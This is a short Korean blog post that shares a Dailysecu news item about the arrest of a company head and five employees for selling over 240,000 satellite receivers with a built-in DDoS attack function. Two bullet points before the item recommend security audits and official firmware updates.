> HW와 SW 구성 요소에 대해 엄격한 보안 감사와 검증 절차 필요
> 소비자들은 제조사의 공식 소스를 통해 정기적 펌웨어 업데이트 및 이상 행동 감지 시 즉시 확인 등의 주의 필요

 

보안뉴스

 

DDoS 기능 탑재한 위성 수신기 제조·판매한 국내 기업 대표와 직원 체포돼 - 데일리시큐

위성 수신기 24만 대 이상에 분산서비스거부(DDoS, Distributed Denial of Service) 공격 기능을 탑재해 제조·판매한 혐의로 국내 모 기업 대표와 직원 5명을 체포했다. 이들 수신기는 구매자 요청에 따라

www.dailysecu.com

+ Recent posts